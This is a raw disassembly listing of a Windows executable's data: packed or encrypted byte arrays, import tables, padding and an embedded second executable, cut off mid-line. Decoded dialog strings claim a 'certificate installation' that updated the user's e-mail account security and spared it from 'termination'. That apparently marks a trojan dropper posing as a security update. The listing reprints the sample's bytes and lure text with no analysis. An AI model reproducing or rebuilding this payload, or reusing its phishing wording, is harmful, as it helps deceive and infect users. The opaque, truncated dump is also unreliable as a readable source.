0F439E186h, 0B44F5ACAh, 2B5D3BA6h, 0D8EE75AFh dd 90h, 39h dup(0) dd 53613500h, 0F58615h, 27B49F02h, 0C93D536Bh, 0C262DD5Eh dd 9099425Dh, 0C220E8A3h, 16BB2567h, 3606B85Dh, 52A64FD6h dd 7BBE9021h, 0FAB73F5Bh, 0F9C2C8CCh, 92C01848h, 329B8EB1h dd 411203D8h, 6E98BC09h, 1349CA36h, 251B618Bh, 0D37EF1C4h dd 0FD9D70FAh, 0AA0D1BE2h, 0B53A3D20h, 8A08B71Bh, 9DE083B5h dd 28DA96DCh, 0DA88B126h, 777DB4F4h, 0C106808Ah, 76747BABh dd 9E916C10h, 1B16F44Fh, 3A83F4Ch, 8F01A262h, 0BEEEC928h dd 0E35985F3h, 0A954E83Bh, 94D4E8C0h, 51EB3E7h, 2A90722Ch dd 0C0B169D0h, 5DA6F316h, 6A18743Ah, 346C7A70h, 2DA3AF3Bh dd 2C107F6Dh, 0BBA67898h, 35265B84h, 8F3AF156h, 8FFB6E33h dd 0EDFCEAE7h, 0D603AA29h, 0AF6A72B2h, 67613611h, 1F47C4E9h dd 1FB2885Dh, 0BB108EBDh, 9D3D3A85h, 68280A21h, 0A3F236A4h dd 4BE1B624h, 7EE73BC5h, 8C811994h, 17119A0Fh, 805F7167h dd 0EB0CE1F1h, 153FBCCBh, 5625DF1Fh, 59DCADE9h, 349C3897h dd 0A3048D45h, 7ED7FEh, 0F31C5931h, 9F20BF2Bh, 2D467CB8h dd 9F8BCF07h, 0FD5D5EE1h, 951BB540h, 0A417680Bh, 0ECDDC3C8h dd 0E589657Dh, 0AA11722Ah, 6894D5C1h, 21AB1411h, 9E78E0E8h dd 0A391B903h, 995CA21h, 2B4D75A1h, 0F89C8D8Fh, 9B5FFE11h dd 0E229B90Ah, 89945BC4h, 1A07250Ch, 0C1D53329h, 0B56F97AFh dd 81D9D90Ch, 252DBAA3h, 0C8D4BB85h, 3A5EAC30h, 32C55C0Bh dd 0DCB4EBE3h, 3E870EA9h, 0D228CF93h, 7A0CED41h, 0C5D6E93Dh dd 7CBD3918h, 0B0272A62h, 8134D845h, 0B916B919h, 44C7C669h dd 713796EBh, 72F9A409h, 87618E2Bh, 0BA9E9770h, 2E3089Dh dd 62F5A2D6h, 0A3CD5047h, 493A5B04h, 6C366550h, 7079E0DFh dd 0C82F0BABh, 0F4F4DEBAh, 2B9B78D9h, 8A3110AAh, 0B0CEAC7Dh dd 266430F0h, 0E63A3588h, 8D62561Ch, 595AD22Ah, 0BE058643h dd 4FA348D1h, 16090E39h, 0EF42C0ACh, 0FC2D7194h, 0FA09CF46h dd 497E9A89h, 7CC37D1Ch, 6FC7B290h, 538EFE8Bh, 0CE10CBA0h dd 0D622741Bh, 0DCABBD43h, 6AFB3908h, 0DF077268h, 0FB5E1B9Eh dd 3CC2FCEEh, 4BCB023h, 59B53F63h, 6E6D639Bh, 0D91706D7h dd 0F9AE5872h, 9B44154Dh, 0F24E833Ah, 2035C2B1h, 30E3A7F0h dd 2CF48F5Ah, 0B1313670h, 0F7B9898Fh, 6B5D8B6Fh, 7A4D0426h dd 4A1A51B8h, 4847EC66h, 60D2h, 5Dh dup(0) dd 253A8h, 25430h, 25424h, 25416h, 25404h, 253F6h, 253EAh dd 253DEh, 253D0h, 253C0h, 25396h, 25386h, 25460h, 25454h dd 25448h, 252FAh, 2530Ch, 25326h, 25334h, 25342h, 25352h dd 25366h, 25378h, 2543Ch, 0 dd 2548Ah, 2549Ch, 254AEh, 254C4h, 254D6h, 254EAh, 254FAh dd 2550Ah, 2551Eh, 2552Eh, 2547Ah, 0 dd 252E4h, 252D2h, 252BCh, 252AEh, 25298h, 2528Ah, 2527Ah dd 2526Eh, 25262h, 25254h, 2523Ah, 25228h, 25216h, 25206h dd 251F8h, 0 dd 251B8h, 2 dup(0) dd 252EEh, 25094h, 25124h, 2 dup(0) dd 2546Ch, 25000h, 25188h, 2 dup(0) dd 2553Ch, 25064h, 5 dup(0) dd 253A8h, 25430h, 25424h, 25416h, 25404h, 253F6h, 253EAh dd 253DEh, 253D0h, 253C0h, 25396h, 25386h, 25460h, 25454h dd 25448h, 252FAh, 2530Ch, 25326h, 25334h, 25342h, 25352h dd 25366h, 25378h, 2543Ch, 0 dd 2548Ah, 2549Ch, 254AEh, 254C4h, 254D6h, 254EAh, 254FAh dd 2550Ah, 2551Eh, 2552Eh, 2547Ah, 0 dd 252E4h, 252D2h, 252BCh, 252AEh, 25298h, 2528Ah, 2527Ah dd 2526Eh, 25262h, 25254h, 2523Ah, 25228h, 25216h, 25206h dd 251F8h, 0 dd 6843002Ch, 70557261h, 41726570h, 450000h, 61657243h dd 75436574h, 726F7372h, 460000h, 61657243h, 65446574h dd 6F746B73h, 4170h, 72430047h, 65746165h, 6B736544h, 57706F74h dd 4D0000h, 61657243h, 63496574h, 72466E6Fh, 65526D6Fh dd 72756F73h, 6563h, 724400A1h, 74537761h, 41657461h, 0C40000h dd 61757145h, 6365526Ch, 0F70074h, 46746547h, 7375636Fh dd 16A0000h, 68437349h, 6F4C7261h, 41726577h, 17E0000h dd 64616F4Ch, 6D746942h, 417061h, 6F4C0181h, 75436461h dd 726F7372h, 6D6F7246h, 656C6946h, 1860041h, 64616F4Ch dd 67616D49h, 4165h, 654D01A0h, 67617373h, 786F4265h, 69646E49h dd 74636572h, 1AE0041h, 546D654Fh, 6168436Fh, 66754272h dd 4166h, 6F540238h, 69637341h, 73750069h, 32337265h, 6C6C642Eh dd 1E0000h, 706D6F43h, 53657261h, 6E697274h, 4167h, 6E45006Eh dd 65526D75h, 72756F73h, 614C6563h, 6175676Eh, 41736567h dd 800000h, 74697845h, 636F7250h, 737365h, 78450081h, 68547469h dd 64616572h, 0A20000h, 646E6946h, 6F736552h, 65637275h dd 0A90041h, 73756C46h, 6C694668h, 66754265h, 73726566h dd 0C80000h, 43746547h, 616D6D6Fh, 694C646Eh, 41656Eh dd 654700F5h, 6C694674h, 7A695365h, 0FE0065h, 4C746547h dd 6C61636Fh, 656D6954h, 1320000h, 53746547h, 74726174h dd 6E497075h, 416F66h, 654C01A3h, 43657661h, 69746972h dd 536C6163h, 69746365h, 6E6Fh, 6F4C01A4h, 694C6461h, 72617262h dd 4179h, 6F4C01AAh, 416C6163h, 636F6C6Ch, 1CA0000h, 6E65704Fh dd 656C6946h, 26C0000h, 41736C54h, 636F6C6Ch, 26F0000h dd 53736C54h, 61567465h, 65756Ch, 6E550277h, 5670616Dh dd 4F776569h, 6C694666h, 2830065h, 74726956h, 466C6175h dd 656572h, 7257029Eh, 46657469h, 656C69h, 736C02B5h, 61637274h dd 4174h, 736C02B9h, 6D637274h, 416970h, 736C02BBh, 70637274h dd 4179h, 736C02BDh, 70637274h, 416E79h, 736C02BFh, 656C7274h dd 416Eh, 6E72656Bh, 32336C65h, 6C6C642Eh, 50000h, 61656C43h dd 73754372h, 74614474h, 270061h, 4C656C4Fh, 5064616Fh dd 75746369h, 6572h, 65520030h, 74736967h, 79547265h, 694C6570h dd 320062h, 65666153h, 61727241h, 63634179h, 44737365h dd 617461h, 61530038h, 72416566h, 43796172h, 74616572h dd 3C0065h, 65666153h, 61727241h, 73654479h, 796F7274h dd 4F0000h, 45746553h, 726F7272h, 6F666E49h, 530000h, 46737953h dd 53656572h, 6E697274h, 540067h, 52737953h, 6C6C4165h dd 7453636Fh, 676E6972h, 570000h, 53737953h, 6E697274h dd 6E654C67h, 820000h, 42726156h, 43727473h, 7461h, 61656C6Fh dd 32337475h, 6C6C642Eh, 0AEh dup(0) dd 0FFFF0001h, 0 dd 40000h, 80C808C8h, 7, 1430000h, 0A1h, 430000h, 720065h dd 690074h, 690066h, 610063h, 650074h, 690020h, 73006Eh dd 610074h, 6C006Ch, 740061h, 6F0069h, 20006Eh, 6F0063h dd 70006Dh, 65006Ch, 650074h, 64h, 190000Ah, 4D0100h, 200053h dd 680053h, 6C0065h, 20006Ch, 6C0044h, 67h, 2 dup(0) dd 50010000h, 94010Ah, 0B0032h, 2, 80FFFFh, 690046h, 69006Eh dd 680073h, 2 dup(0) dd 20h, 50010804h, 270084h, 1A00BFh, 7D2h, 690052h, 680063h dd 640045h, 740069h, 300032h, 41h, 680054h, 6E0061h, 20006Bh dd 6F0079h, 200075h, 6F0066h, 200072h, 700075h, 610064h dd 690074h, 67006Eh, 790020h, 75006Fh, 200072h, 2D0065h dd 61006Dh, 6C0069h, 610020h, 630063h, 75006Fh, 74006Eh dd 730020h, 630065h, 720075h, 740069h, 200079h, 650073h dd 740074h, 6E0069h, 730067h, 620020h, 200079h, 6E0069h dd 740073h, 6C0061h, 69006Ch, 67006Eh, 3 dup(0) dd 5000000Eh, 70007h, 8A0051h, 0FFFFFFFFh, 82FFFFh, 6AFFFFh dd 3 dup(0) dd 50010084h, 200061h, 7200DBh, 3E9h, 81FFFFh, 3 dup(0) dd 5000000Eh, 2B006Ch, 100012h, 0FFFFFFFFh, 82FFFFh, 6BFFFFh dd 2 dup(0) dd 20h, 50010804h, 490064h, 4500DBh, 7D4h, 690052h, 680063h dd 640045h, 740069h, 300032h, 41h, 6F0059h, 720075h, 650020h dd 6D002Dh, 690061h, 20006Ch, 630061h, 6F0063h, 6E0075h dd 200074h, 730069h, 6E0020h, 20006Fh, 6F006Ch, 67006Eh dd 720065h, 730020h, 620075h, 65006Ah, 740063h, 740020h dd 20006Fh, 650074h, 6D0072h, 6E0069h, 740061h, 6F0069h dd 2E006Eh, 490020h, 200074h, 6F006Eh, 6C0020h, 6E006Fh dd 650067h, 200072h, 6F0070h, 650073h, 200073h, 6E0061h dd 200079h, 680074h, 650072h, 740061h, 0D002Eh, 0D000Ah dd 57000Ah, 200065h, 700061h, 720070h, 630065h, 610069h dd 650074h, 790020h, 75006Fh, 200072h, 730061h, 690073h dd 740073h, 6E0061h, 650063h, 690020h, 20006Eh, 75006Fh dd 200072h, 660065h, 6F0066h, 740072h, 740020h, 20006Fh dd 61006Dh, 65006Bh, 740020h, 650068h, 750020h, 650073h dd 6F0020h, 200066h, 6E0049h, 650074h, 6E0072h, 740065h dd 610020h, 64006Eh, 650020h, 6D002Dh, 690061h, 20006Ch dd 610073h, 650066h, 200072h, 6E0061h, 200064h, 6F006Dh dd 650072h, 720020h, 6C0065h, 610069h, 6C0062h, 2E0065h dd 2 dup(0) dd 20h, 50010804h, 90064h, 1A00BFh, 7D3h, 690052h, 680063h dd 640045h, 740069h, 300032h, 41h, 83h dup(0) aPaddingxxpaddi db 'PADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGP' db 'ADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPA' db 'DDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPAD' db 'DINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADD' db 'INGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADD',0 align 4 dd 7Fh dup(0) dd 60h, 1000h, 6F6C4301h, 61486573h, 656C646Eh, 72570100h dd 46657469h, 656C69h, 65724301h, 46657461h, 41656C69h dd 65520100h, 69466461h, 100656Ch, 46746553h, 50656C69h dd 746E696Fh, 1007265h, 4D746547h, 6C75646Fh, 6C694665h dd 6D614E65h, 1004165h, 7274736Ch, 416E656Ch, 65470100h dd 63695474h, 756F436Bh, 100746Eh, 53746547h, 65747379h dd 6D69546Dh, 46734165h, 54656C69h, 656D69h, 65724301h dd 50657461h, 65636F72h, 417373h, 74654701h, 706D6554h dd 68746150h, 47010041h, 69467465h, 7441656Ch, 62697274h dd 73657475h, 53010041h, 69467465h, 7441656Ch, 62697274h dd 73657475h, 56010041h, 75747269h, 72466C61h, 1006565h dd 65657246h, 7262694Ch, 797261h, 74655301h, 7473614Ch dd 6F727245h, 47010072h, 614C7465h, 72457473h, 726F72h dd 74654701h, 72727543h, 50746E65h, 65636F72h, 1007373h dd 50746547h, 41636F72h, 65726464h, 1007373h, 64616F4Ch dd 7262694Ch, 41797261h, 65470100h, 72655674h, 6E6F6973h dd 417845h, 7A695301h, 52666F65h, 756F7365h, 656372h, 636F4C01h dd 7365526Bh, 6372756Fh, 4C010065h, 5264616Fh, 756F7365h dd 656372h, 6E694601h, 73655264h, 6372756Fh, 1004165h dd 4D746547h, 6C75646Fh, 6E614865h, 41656C64h, 65540100h dd 6E696D72h, 50657461h, 65636F72h, 1007373h, 74726956h dd 416C6175h, 636F6C6Ch, 736C0100h, 70637274h, 1004179h dd 7274736Ch, 41746163h, 65470100h, 73795374h, 446D6574h dd 63657269h, 79726F74h, 6D000041h, 80000000h, 1000010h dd 72707377h, 66746E69h, 47010041h, 75437465h, 726F7372h dd 736F50h, 0 dd 455000h, 4014C00h, 0E92ED000h, 47h, 0 dd 0F00E000h, 7010B01h, 8000Ah, 0B40000h, 0 dd 16E200h, 100000h, 200000h, 40000000h, 100000h, 20000h dd 400h, 0 dd 400h, 0 dd 0F00000h, 40000h, 0 dd 200h, 10000000h, 100000h, 10000000h, 100000h, 0 dd 1000h, 2 dup(0) dd 21B400h, 3C00h, 400000h, 0ACCC00h, 12h dup(0) dd 200000h, 8C00h, 6 dup(0) dd 65742E00h, 7478h, 2 dup(100000h), 80000h, 40000h, 3 dup(0) dd 2000h, 64722E60h, 617461h, 100000h, 200000h, 60000h dd 0C0000h, 3 dup(0) dd 4000h, 61642E40h, 6174h, 100000h, 300000h, 5 dup(0) dd 4000h, 73722EC0h, 6372h, 0B00000h, 400000h, 0AE0000h dd 120000h, 3 dup(0) dd 4000h, 0E00040h, 227C00h, 5000000h, 0FF0000E2h, 64C9042Eh dd 0D6336498h, 0FFFFFF00h, 0F05471FFh, 0B4B4506Ah, 8ED8CD38h dd 0CECF85A7h, 0FFC37BDBh, 0A4B02BC2h, 0C9715430h, 8570EFC3h dd 7C2FFF85h, 0FB0D28A1h, 3BCA0038h, 1CF4A13Fh, 0FF9E9664h dd 0FA86B323h, 74FFF42Fh, 1DBD9F5Fh, 5D25E05Ah, 972CE135h dd 77048F94h, 1D1D8AB9h, 0DA17FFFFh, 7DA9FFBh, 0D25B3BA8h dd 32F53769h, 0C172945Fh, 0DA4E40B0h, 0FA085F31h, 3C5D8DFFh dd 4B247C99h, 0D2B17767h, 0A0449866h, 0E0D896E8h, 9DFA97FFh dd 0A137D139h, 0AB9ADD6Eh, 0D1AD8449h, 8B57D9FCh, 0E97FE3A6h dd 0C078585Fh, 0F519BE40h, 6F11AA15h, 0ABA55703h, 2DE7DF51h dd 9AFFFFFEh, 264C0757h, 0BFB74C5Ch, 97C9CF00h, 43B6D0C4h dd 0DD2CF167h, 0FF561E35h, 1DFFFFFFh, 6D773DB5h, 0B6B7E000h dd 0DEA458D9h, 6DDBD361h, 5E00FAEEh, 50C7E222h, 2F8BD93Ah dd 0FF670583h, 0FDFEA37Fh, 52AD318h, 1E60DC56h, 94F236D4h dd 2F75B0EBh, 4D80F709h, 37C4BFEAh, 62CAF0FAh, 9DCBDEE7h dd 0BEFCB55h, 455FCF9Fh, 0F46E0537h, 6A226FFh, 0F760B057h dd 136B44C0h, 0D9B8F3Ah, 0FFFFD6E0h, 0BB351EEDh, 325D5C2Fh dd 0C69AA789h, 849645FFh, 8D0AF589h, 0C24E6FBFh, 0FFFB7E2Dh dd 21B7DBA6h, 5DE5202h, 5819508h, 4534997Ch, 0FAB95358h dd 90FFFFFFh, 0A4979296h, 0A147987Fh, 3102B4A1h, 8E2DBF3Dh dd 0C226D2CBh, 5529A9C3h, 7EE1DE78h, 0DFFFF46Fh, 19485DBh dd 0CA943A8Ch, 0C831DFC3h, 0C51AEDB9h, 9C3FDAA5h, 97FFFE11h dd 48E1E9FAh, 7A84B8B0h, 490A4D72h, 3A87C5D3h, 9FB84891h dd 585A8E2Fh, 5FFF897h, 0AA820DACh, 0C5D19179h, 26802BC8h dd 0EA6DEF59h, 0FFFFFFC9h, 927DF612h, 8FF2613Eh, 940C87Dh dd 459ABB21h, 42BFF846h, 0E9CDFDE9h, 0FFFC1B5Dh, 3FB70FFh dd 21FA0708h, 348F5615h, 140F70D8h, 0D1A17065h, 0A8C2D51Dh dd 0FE2DFF0Ah, 0F30AD4FFh, 98DE6367h, 0DDDD985Ch, 0BA69F1F8h dd 0A7555B65h, 7FF80F86h, 0FFD1BF7Ah, 3FF839FFh, 0F479C624h dd 29AA4788h, 6C06CB12h, 41A9494Bh, 0DBF6602Ah, 2DFFFF35h dd 0CB22FCFEh, 530840DFh, 0ECAE6A39h, 45D1F93Fh, 880A8D1Fh dd 0ACEADE5Bh, 0BFFFFF1h, 878809FDh, 0BC286435h, 0AEFC7DC6h dd 7499868Ch, 4CA32F7Ch, 175DD375h, 4BFF83B6h, 0C35D5DFCh dd 0A8D62B6h, 0BC48779Ch, 0D2727086h, 0FF4C2C7Ah, 0DA7152FFh dd 1CAEF892h, 0F3363BEh, 881BC28Fh, 0A5AFFE4Dh, 1BFFFFA7h dd 347647FCh, 7436B026h, 0C17411Ch, 43090D58h, 0F875A6FAh dd 0FB12B39Eh, 5FFFF36h, 2B9CD9FEh, 90EFCEAAh, 248E057Eh dd 522B181Bh, 42D87627h, 854598B3h, 0FFFFFFA8h, 0CDBAF4FFh dd 0BBAD9A50h, 4ADE89D3h, 931AF0F1h, 767CFDC3h, 52AAD7ADh dd 1BC9CEF4h, 0D6C04473h, 0F1AADF9Ch, 37259F42h, 0B2BC1940h dd 0FFA23563h, 98FFE0DFh, 0A8C7h, 0F9052BE4h, 0AFFEC7C5h dd 0F0C50C34h, 9EA43544h, 0FFF56749h, 0EEFFF8B7h, 34ECD119h dd 4B0DF095h, 6DD27D36h, 0FC5B92DDh, 0A60C57D4h, 0C23A6E68h dd 0E9FFFFFFh, 6513BBC2h, 8E6EC195h, 0BF91A0F5h, 0CA8DADAEh dd 9B2E9F83h, 8689E3E1h, 0FC4B63E1h, 0B6CBFFFFh, 0A0A8D9EBh dd 4D52265Eh, 0A177DE1Ch, 8D34D5DFh, 0AEED20DAh, 7FFFFFDEh dd 0F6E59CA1h, 0E23875F1h, 598C0D65h, 0F0EF70ECh, 857B73E6h dd 68664564h, 0FFFFFF11h, 26B2D8FFh, 1A7B4893h, 69F0A31h dd 0CE8D7EEBh, 67FD113Fh, 0F7056455h, 0E1FC473Bh, 8AE846D9h dd 0FF897B10h, 1D6BB1FFh, 886F45CEh, 78ACF064h, 8F680BADh dd 4B78235h, 0FFDD6192h, 0DD45BFFFh, 4376072Fh, 7C5B2846h dd 26D1B657h, 18846F3Ah, 78EF8498h, 0FFFADF84h, 441D85FFh dd 0F022D023h, 95382E03h, 8EE5DB1Ch, 10945103h, 0E059F6E9h dd 0D000DBF3h, 37FFFFFFh, 32519CB4h, 5AA5BB95h, 0A4095285h dd 0AF7967E5h, 8D37E520h, 3F69E45Bh, 0FFFFED35h, 1D0947BFh dd 9DF41EEAh, 0A9458B61h, 0D3DBD9CDh, 73B2B54Dh, 9FA35091h dd 34AFB227h, 12FFFFFAh, 62A747F4h, 8D38CC3Dh, 0ABA41FB6h dd 0A1699A7Eh, 359C5D90h, 0FFFFFFFBh, 0CA27F0Bh, 0B02890A5h dd 0BB3930E4h, 0E53480B3h, 0B2A4437Ch, 54E2E7CCh, 0FFFDEAE5h dd 91FFFFFFh, 17E20E22h, 7D07FCAFh, 0FD4749C5h, 0CDEA1321h dd 690E1E8Fh, 0D201A4DBh, 0F2CAD0CDh, 0DF46369Bh, 0C3FFFFE2h dd 6CCF031h, 0A531C298h, 7FA1E56Eh, 0CA7DB7E2h, 0EF2B55DBh dd 0FFAB8F34h, 0ED6F4BFh, 85411E8Bh, 0ABE5CA12h, 545DFFA4h dd 85EFF01Bh, 0FFABF7B0h, 0AEFFFFFFh, 93BC9FD6h, 0D33C38A8h dd 6A5BBFCAh, 77E870E0h, 0BC5AA3ADh, 0A240AC61h, 470FFAC1h dd 0BF60EB9Bh, 4FFF6C0h, 8804FB79h, 2060065Ch, 1B7110Ch dd 0DCCB581Dh, 6F7BD39Bh, 7EFFFFF5h, 0B3A0FD9Bh, 0B3E2E0C2h dd 70CD8D5Dh, 0B302CED5h, 0BCE9949Bh, 0F86A762Dh, 2AFFFFFFh dd 0A2C30E4Dh, 664B0429h, 1FF6327Bh, 1D0B640Dh, 11AFF015h dd 0F0B0F842h, 0F762EE93h, 0B7FFFFFFh, 7AD681D7h, 36219137h dd 91DA0623h, 2C0F2437h, 5CE17DE5h, 9957938h, 0F8ACCCB5h dd 7BFF16FFh, 3F928F0Ch, 10072588h, 0EC56D4BBh, 7B7ED6B1h dd 0E00E71BAh, 5FFFFFFFh, 714032Ch, 8BC05069h, 0D649FB11h dd 6CBF2024h, 6A540D1Bh, 9E1DBFE4h, 0E2F3ED17h, 0FFFFFF4Ch dd 0C8D9F3D2h, 36C206A0h, 7DC8251Bh, 13FE25Fh, 0BA1902D9h dd 0D0275CB1h, 0FF92B725h, 5EA5FFFFh, 0DD83EE5Eh, 0FED01F98h dd 0F2A9098Fh, 0CB5A760Fh, 0CD38840h, 85B1011Fh, 7FFFFFD8h dd 0A5F860E1h, 853EC265h, 0D3968D4Fh, 0EEF39B1Dh, 4F0392D9h dd 0B3DA4D60h, 7F35BBA1h, 87FFFFFBh, 0DBACB5F5h, 0D1B225AAh dd 7CFE25F3h, 7D0E3D2Ch, 55DC153Ah, 2D4B7559h, 0FF535C12h dd 0B3FFFA17h, 1BA13B95h, 0D91A24C4h, 2529B2Fh, 0DA3329CEh dd 9C582559h, 2563A21Eh, 0ABFFFFFEh, 18A85C6h, 833830DCh dd 1E122CBFh, 97AA55F9h, 7E73D292h, 4BE99B09h, 3FFFFE05h dd 0AC42C483h, 0A6AED73Dh, 170B524Ch, 0FEF75C55h, 0FF85FF33h dd 5B12CDFFh, 0F26751D7h, 0C467AACDh, 0FF8ACBEFh, 132CD0B4h dd 26F37488h, 0FFB804B8h, 0DCFFFFFFh, 31F9EFE1h, 96993D01h dd 535D4D0Eh, 9DFC7F79h, 0F3DEFFE2h, 12EC31FBh, 0B0381BE6h dd 0A2F686DDh, 0EDFF12FFh, 0BA4797C8h, 3F310B0Eh, 945BB6E2h dd 60FC4CEh, 2DFFFFFFh, 356E0250h, 9A0DF975h, 928CB3F6h dd 0A0439F0Dh, 461E7188h, 461B4958h, 0B7FFFFACh, 1E60FFF8h dd 177CE998h, 0AA4F81CFh, 68F210E7h, 7034A50Dh, 0DFACFA52h dd 0FFFFFF98h, 44B641FFh, 0BFAD90CAh, 0D9A1DDD4h, 0DFA3D29h dd 0A3BEDB7Ch, 9A160F67h, 70A46BDAh, 0F3974C89h, 0FFFFFFE5h dd 704573FFh, 0C89DA793h, 659D9A2Eh, 9729AAFh, 3B045BFDh dd 0A14A9740h, 0CB690C09h, 614A8909h, 0FFFFFF4Bh, 0EA400AD2h dd 0E29BDD5Ah, 0BACC6D64h, 0F75E165Bh, 7C91B5EAh, 20B8C9EFh dd 0FFDBB6FFh, 0F4E05E8Dh, 0A29732E6h, 2459670Eh, 546D101Eh dd 0FEE64983h, 0FFFFFFh, 913073B5h, 2118981h, 67125A61h dd 0F3BBBC9Bh, 276D1B13h, 67A460C1h, 236B3135h, 0FFFF31F8h dd 5CA0ADFFh, 0F3CDF0D6h, 8CD8FDFEh, 0ED49D668h, 1DACDB5Dh dd 0E0A48E04h, 0C78E3DC9h, 58FFFFFFh, 415F9668h, 24AF857Dh dd 0BFB90B39h, 0A99AC574h, 7EE95340h, 989F3FD1h, 5BFF79C5h dd 6F87FFFh dd 6FDE6194h, 7AF184E6h, 0AB05C662h, 1B40C27Dh, 0C3EFBFEAh dd 0FF7FE1A6h, 27FFFFFFh, 95B1B313h, 1562EDF5h, 0DE68C9ADh dd 0DC1D625Eh, 94D27F5h, 16EFCCEEh, 0E9A9C237h, 0FD49F6DDh dd 0A2F8DFFFh, 10E32323h, 0F837FD9Ch, 0BE016F1Fh, 65E7D29Ch dd 90B7C2F6h, 7F89FB27h, 4F6FFFE3h, 7B67DB30h, 0CC5FC918h dd 5FF072D4h, 78B0862h, 6D183849h, 0FFF8DF5Fh, 7879F3FFh dd 0E19168EEh, 1E69C7BFh, 4BCB845h, 36E31EC3h, 8DB75763h dd 0EAB75C7Dh, 75FFFFFFh, 19AA5D34h, 6C52A9A8h, 0CC83E5F8h dd 22F47F65h, 6ED15514h, 44D2325Eh, 0FFFF6CD0h, 8BC3DFFFh dd 9D568253h, 0EB7A840Dh, 0ABFA5CDCh, 0A03C1F25h, 9EC46973h dd 8902A11Dh, 0FE437821h, 7DFE2DFFh, 9BBD0114h, 131C7210h dd 42DDD56h, 0D64EC441h, 27870B4h, 6FFE0D7h, 0D44097FFh dd 0C4001D02h, 0C11D319Ah, 0EB3518ADh, 0CD7D144Ch, 0BF0BFD30h dd 776D9DF0h, 69948158h, 10E4A74Fh, 6E2B5908h, 0FC6560E6h dd 0AE6FFFFFh, 8C6F375Ch, 0EF3DFFA9h, 94EB388Bh, 0A817FD3Fh dd 30E6E2B1h, 8F320E7Fh, 0FADFFFC0h, 0CED1136Fh, 0DF6642A2h dd 9BC8865Bh, 0A53EE155h, 0BF44C6DCh, 0FD99D5E8h, 0A242FFFFh dd 95CB8A55h, 1D5F9A67h, 3E9F0287h, 8C5513E2h, 0D070E5A6h dd 0E97A97F2h, 5CE6FF1Bh, 864AA504h, 0CAF8380h, 0AB6B7FDFh dd 0D236F6FFh, 0F3051307h, 0B3FA9C69h, 0EAC2857Ch, 0FAA19AEAh dd 91FFFFFFh, 0BEF0B41Eh, 2A30F070h, 0FBA08EA2h, 7BE91813h dd 0CC4DB2DAh, 0E9F2F59Eh, 517EF73Eh, 0DFFFFFB7h, 0F21D7A81h dd 487905F3h, 3E8D8314h, 6D6E326Dh, 595FA843h, 0F0946E6h dd 8DFFFF63h, 0D3D3F7FEh, 6FB703E4h, 92948E00h, 74BC01CDh dd 0A3A0FEEDh, 4588B433h, 16FFFF83h, 0F606E3FFh, 901E0588h dd 0EBC645FBh, 544FB798h, 14017080h, 0EE7DCB64h, 4102FFF2h dd 0D1D7FFFFh, 5C4F27BEh, 7A007E9Dh, 3A31665Fh, 46FFE828h dd 1D555AFFh, 30B15994h, 3D304264h, 6C7A244Ch, 6344CEE8h dd 0DFFFFFFFh, 0F461CD0Bh, 8187B87Ch, 99B9A1F1h, 0A7E8309h dd 0E2BA970Bh, 31F36FF7h, 6D6D4C71h, 0FFFFFDC3h, 0C985C9FFh dd 0C76A127Dh, 6CA48611h, 0E086D4C5h, 6CB4ECE9h, 62C24778h dd 63955EE8h, 0FF05BE9Dh, 372FFFFFh, 801296CBh, 6747CE7Fh dd 33268C83h, 0D7BD8F1Ah, 2FCE5555h, 0AAF64AACh, 0FFA26CC7h dd 76FFDBFFh, 4844EEA7h, 1DC34743h, 75901152h, 3E48B3A2h dd 0F376C7FEh, 3D28A01Dh, 0D86B529h, 0C8FFFFFEh, 39A66472h dd 8FD1C3E5h, 0C62B157Fh, 0C6422C9Eh, 0B4ADF237h, 0FE103560h dd 2FFFFFFFh, 215BC7EEh, 0F87143ABh, 6B36D282h, 0F976CCBBh dd 0D21FA019h, 0A8C87BB1h, 39A05D73h, 0FC5B04E7h, 0A9700DFFh dd 0ABBEDACAh, 1429574Eh, 14E37FEEh, 0FF90932Bh, 5D12C1BFh dd 0FA20D23Dh, 25912136h, 206500D2h, 0FF812C22h, 0FDAB55BFh dd 538CCDD7h, 0D7CC7114h, 0AC3865F3h, 56A99E49h, 76FC1BFFh dd 0BBDD2AC5h, 0E9C580C6h, 0A9E1C99Dh, 0E0E693C4h, 0FFFFFFFFh dd 83561A0Ah, 0D44A41E0h, 0D16AF74Dh, 25F56E6Dh, 6E9C0798h dd 393C2673h, 442DF67Dh, 0FF0B6714h, 32FFFC0Bh, 935DE4Dh dd 86BD3FAAh, 83D91CB4h, 2D9F4D51h, 0AE5986B9h, 7FDBA083h dd 0F6FFFF83h, 3276309Ch, 2CAC6CEBh, 50983121h, 13034A11h dd 647D89F1h, 0BFB59667h, 0CAFFD6FDh, 735C00E3h, 0D0D1976Dh dd 507208BBh, 0F56A1D94h, 597660A6h, 0FFFFFFA9h, 6884F8FFh dd 0ACF55B56h, 995F1CD0h, 65C1341Ah, 237C7123h, 0E2AD70FDh dd 86C38200h, 0DE878C2Fh, 6FFFF47Bh, 0DB8E74F0h, 0F55F8A59h dd 6D9514Fh, 0E3033B64h, 0E8F3B115h, 2FFFFEE3h, 77136D6Ch dd 172D74F1h, 0BAB275B9h, 0CC01062Ch, 7D441380h, 0FE028BB2h dd 39B325FFh, 4F5ACAF4h, 5D3BA6B4h, 0EE75AF2Bh, 1FE990D8h dd 353A3282h, 86155361h, 0FF6B00F5h, 0B47FFFFFh, 3D536B27h dd 62DD5EC9h, 99425DC2h, 20E8A390h, 0BB2567C2h, 6B85D16h dd 0A64FD636h, 0FFFFFF52h, 0BE9021FFh, 0B73F5B7Bh, 0C2C8CCFAh dd 0C01848F9h, 9B8EB192h, 1203D832h, 98BC0941h, 49CA366Eh dd 0BFF06F13h, 0DB618BC1h, 0D37EF1C4h, 0FD9D70FAh, 20AAFBE2h dd 37FFFF3Dh, 1BB53AFEh, 0B58A08B7h, 96DC9D0Ah, 0B12628DAh dd 0B4F4DA88h, 808A777Dh, 0FFABC106h, 990BFFFFh, 916C1076h dd 16F44F9Eh, 0A83F4C1Bh, 1A26203h, 0EEC9288Fh, 5985F3BEh dd 0FFFFFAE3h, 54E83BFFh, 0D4E8C0A9h, 1EB3E794h, 90722C05h dd 0B169D02Ah, 0A6F316C0h, 18743A5Dh, 0FFFF706Ah, 34575FFFh dd 2DA3AF3Bh, 2C107F6Dh, 